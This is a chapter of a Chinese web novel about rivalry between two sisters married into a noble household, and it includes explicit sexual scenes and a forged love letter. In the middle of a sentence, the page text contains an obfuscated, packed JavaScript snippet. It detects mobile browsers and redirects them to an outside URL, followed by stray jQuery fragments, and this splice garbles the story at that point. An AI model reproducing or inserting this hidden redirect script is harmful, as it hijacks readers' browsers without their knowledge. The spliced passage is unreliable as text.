21. 来信 诗宁妹妹

作品:《此间春色

    次日早,江晗宁起身之时,燕诏已穿戴了衣服,坐在一旁等她。江晗宁见状,也立刻松了睡眼起身,仆妇们伺候着她更衣洗漱,而后便与丈夫一起到南院正厅问安。


    入了正厅,第一眼便瞧见坐在正位之下,旁侧第一席的燕临与江诗宁。


    她为燕临理了理领口,燕临回过头来朝她柔意一笑,满含情深。正位上的萧老夫人瞥了眼,眼角微笑,一旁的陆夫人更是笑得合不拢嘴,直夸儿子变了个人一般。


    是啊,燕临怎么就被她迷成这副模样了?


    江晗宁本是欢天喜地来的,可见了这一家子其乐融融的模样,不免心中妒忌,有些气恼了,又不能表现出来,只好攥紧了侧边衣角稍作缓解。


    “含光来了。”


    陆夫人一声,堂上众人才缓过神来看向门外。


    燕诏不语,又换上那副逍遥做派,带着江晗宁跨入屋内。二人于正中跪下,燕诏拱手,十分郑重地开口道:


    “祖母、叔母,含光携新妇问安。”


    萧老夫人开口唤他们起身,燕诏伸手扶住妻子的手臂,口中轻轻地言:


    “宁儿,当心些。”


    她心中动容,想到那日自己闹到岐侯府上,与燕诏面面相觑,争辩不休,如今万般变化,谁又想得到他们竟结成连理。


    她是女子,心中再贪,可仍旧对男人留有幻想,眼下这场景,加之昨夜他云雨后的一番言语,此时江晗宁早已将半颗心打开来给他,坚信此生得到了多少女子渴求的真情。


    他待自己好,自己也定然为他筹谋。


    燕临听着堂弟对妻子的称呼,微蹙眉头,暗生不满。


    江二娘子小字晗娘,姐妹二人都名中带一“宁”字,怎好如此唤来,岂不是容易在外闹了误会?


    当然,他心中明了,也不与他计较。


    用了早膳,各自回了房,燕临便提着剑到军政处去了。自然,离屋前,揽着江诗宁坐在自己腿上,也是温存了一阵,这才去了。


    东院偏僻,燕诏自廊下快至门口之时,便已迫不及待地解了领口的纽扣。待退了侍奉的下人,入了房内,他更是速速拉了江晗宁到榻上,隔着衣物,便忍受不住地撩起衣摆要了她去。


    江晗宁叫喊声不断,仆妇们自是经过大事的,面不改色地守在院里各自的岗位上。东院离其他几屋远得很,二夫人便是叫破了喉咙也无人会听到,于是江晗宁便也大着胆子,将身下酸痛放声出来,以讨丈夫欢心。


    正抽动着,燕诏取下腰间带子,蒙上江晗宁的眼。


    “夫君竟有如此癖好吗?”


    燕诏并未回应,只是盯着那张盖了双目的脸,一下下发泄着,脑中还回想着方才厅上的画面。她如花般柔软,晨光照亮她水汪汪的眸子,其间清澈见底,毫不含精明算计。


    想着,燕诏望着身下的人,闭上眼享受着,也发泄着。直到她已被磨得红肿,燕诏才泄出来,翻身到她身旁躺下。


    “夫君可累了?晗娘为夫君拿些…”


    “宁儿。”


    燕诏打断了她的话。


    “你也疲了吧,不如再睡。”


    江晗宁点点头,不再言语,任由他将自己抱在怀中眠了。


    当日,燕临很晚才回,连东院都折腾了半宿没了动静,他才姗姗来迟。彼时江诗宁换了寝衣,靠在榻上等他,这才看见他,便揉了揉眼睛,上前为他宽衣。


    “困了便歇下,不必等我的。”


    江诗宁笑着摇摇头:


    “不见你归,我不放心。”


    她推着燕临到屏风后沐浴,出了热水,又细细为他擦干了身子,换上寝衣。燕临失笑,抱起妻子到了榻上,吻了她的侧脸,见她娇羞一躲,身上劳累全然没了。


    吹了灯,二人相拥躺着,燕临忽地开口:


    “诗诗,边疆有战事,我明日便要启程去了。”


    江诗宁心中失落,可明白武将家眷皆是如此日日盼归,为着天下安定,子民和乐,这是必要肩负的责任。她将头埋在燕临温热的胸膛上,告诉他:


    “君侯且安心去吧,不必担心家里,我自会打理好的。”


    燕临笑着:


    “这天下的太平是我燕氏三代人亲手打下来的,你在我所护佑的土地上,不论去哪,向前一步是我打下的疆域,向右是陛下赐我的宅邸,向后则是我的怀里,我自是放心的。”


    江诗宁点点头,听了这话,倒没来由地感到与有荣焉来。燕临帮着陛下守护海晏河清,她是功臣的妻子,照料后方,也算是一个小功臣了。想到这,既为他的话感动,又因他身上的名而骄傲。


    “你记得要替我带一样东西回来。”


    江诗宁抬起头,认真地看着他。


    燕临则是揉了揉她的发,下巴抵着在她的头上,开口道:


    “我知道。”


    “一定平平安安回来。”


    次日一早,江诗宁还没起身,燕临便收了行装去了,薛副将跟在身后,二人皆是步履匆匆。他军务繁忙,家中都知晓,因此晨昏定省都是默认了他是不来的,有时闲了或晚膳前回府,他才会抽出空来去见祖母和母亲,说上几句话。


    江诗宁如今身为主母,每日要打点家中大小之事,时常遇到别的官员府上办红白喜事、满岁摆酒、中榜宴请,又或是官眷说私己话的宴会,她少不得装扮一番,到场面上露脸说说话。


    先前被劫持那档事,叫江诗宁好一阵不敢出门见人,怕被议论生出是非,可有一次长侍郎家的儿子抓周,她接了帖子去,便也不得不到场送礼。本是做好了遭人耻笑的打算,不曾想场上众人对此缄口不言,偶尔提及,也是说背后设计之人居心不良。


    看那些夫人们的神色,倒不像是奉承着说假话。江诗宁退了宴席回了府上,一问薛延才知,原是燕临那日从军政处回了岐侯府,得知自己一夜未归时便已觉不对,第一时间封锁了消息,没让流言严重下去。


    至于江晗宁挺直腰板说的那些个威胁的话,不过是燕临安排了几个人故意走漏风声,叫她自以为计谋得逞罢了。


    如此,哪怕是听到些风言风语的人,也都被燕临安排的流言搅了视听。在外人的眼中,不过是江家二娘子从未近身


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154639|164912||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    见过姐夫,继而认错了人,以为长姐幽会罢了。


    听了这些,江诗宁心中惊叹,这内宅女子的心机算计,与在朝堂之中生存下来的燕临相比,简直不值一提,早早便被识破了。


    如今,江晗宁嫁入府中,成日与燕诏在东院里卿卿我我,白日宣淫,她都是知晓的,可并不多说些什么。她了解这妹妹,那是个心气高的,不能直言快语地提点,否则她便立刻要恼了来,说不得还要记恨的。


    好在,看着她是真心喜欢燕诏的,如此也是风平浪静,维持了一片面上安宁来。


    燕临大军开拔,行进之路并不近,大概要半个多月才能抵达北疆外的战地安营扎寨。不过他每十日便会派人送回一封家书,给江诗宁报平安。


    陆夫人得知此事后,连连叹气,自嘲儿子行军十年,倒是从未给这个生身母亲递过一封信来,果真是更疼爱妻子些。


    十日一封,久了,便成了夫妻二人间不成文的约定。于是江诗宁也习惯了,每隔十日到府门外查看一番,拿回家书,细细地读。


    也因此,叶酥递来的信,便被她遗忘在府外的信龛里。


    江晗宁出府采买胭脂水粉,回府时,便远远瞧见了叶酥在岐侯府的信龛前塞了些什么。她令马车在门前停下,亲自前去,悄悄抽出那张纸。


    回了东院,燕诏不在此处,江晗宁屏退了仆妇,命不许进来,才拿出袖口藏着的信纸,小心展开。只见一张顶好的生宣之上,落了几行清姿规整的文来:


    “东阳郡夫人,见信如晤。”


    她看到第一行,心中便十二分的不是滋味。明明已经嫁了人,还有如此体贴的夫君,江晗宁的心还是不住地发抖,可这并非因爱和不舍,而是不甘。


    “闻听岐侯征战,想来夫人定是忧心。家父与兵部尚书交好,我特去问询,方才得知战况,如今告知夫人,望夫人能排解些担忧。岐侯少年将才,定能平安归家。”


    江晗宁攥紧了信纸,轻薄的生宣被她的五指戳出数个破洞来。


    即便如此被拒绝,被推开,被诬陷,叶酥竟还想着她,甚至知晓她的心已属他人,却还愿意为她的丈夫探听消息,告知她平安的讯息。


    她恨,为何同是父亲的女儿,江诗宁却有人爱。她们一同于幼时成了叶酥的玩伴,她比江诗宁更聪慧,更大胆,更关心他,为何叶酥一心只有那个丧母的江氏长女。


    她想不通。


    眼泪夺眶而出,她带着恨和怨,执笔研磨,伏在一方案上,仔仔细细地写下另一封书信来。她从前恋慕叶酥,做什么都要跟着他,甚至求了父亲私下请来了叶酥的习字夫子,偷学了叶酥的帖子。


    本想成婚后给他一个惊喜的,如今倒也算是用在他身上了。


    “诗宁妹妹,见信如晤。”


    “那日金山寺林中,我与妹妹两心相交,别后至今实难相忘。许久不再见,闻知岐侯征战在外,长寿于旧处等汝再来,定要赴约,切莫辜负。”


    她一笔一笔地写着,最终展开手心里皱巴巴的纸张,看着几乎一模一样的字迹,带泪含笑,笑得痴,笑得悲。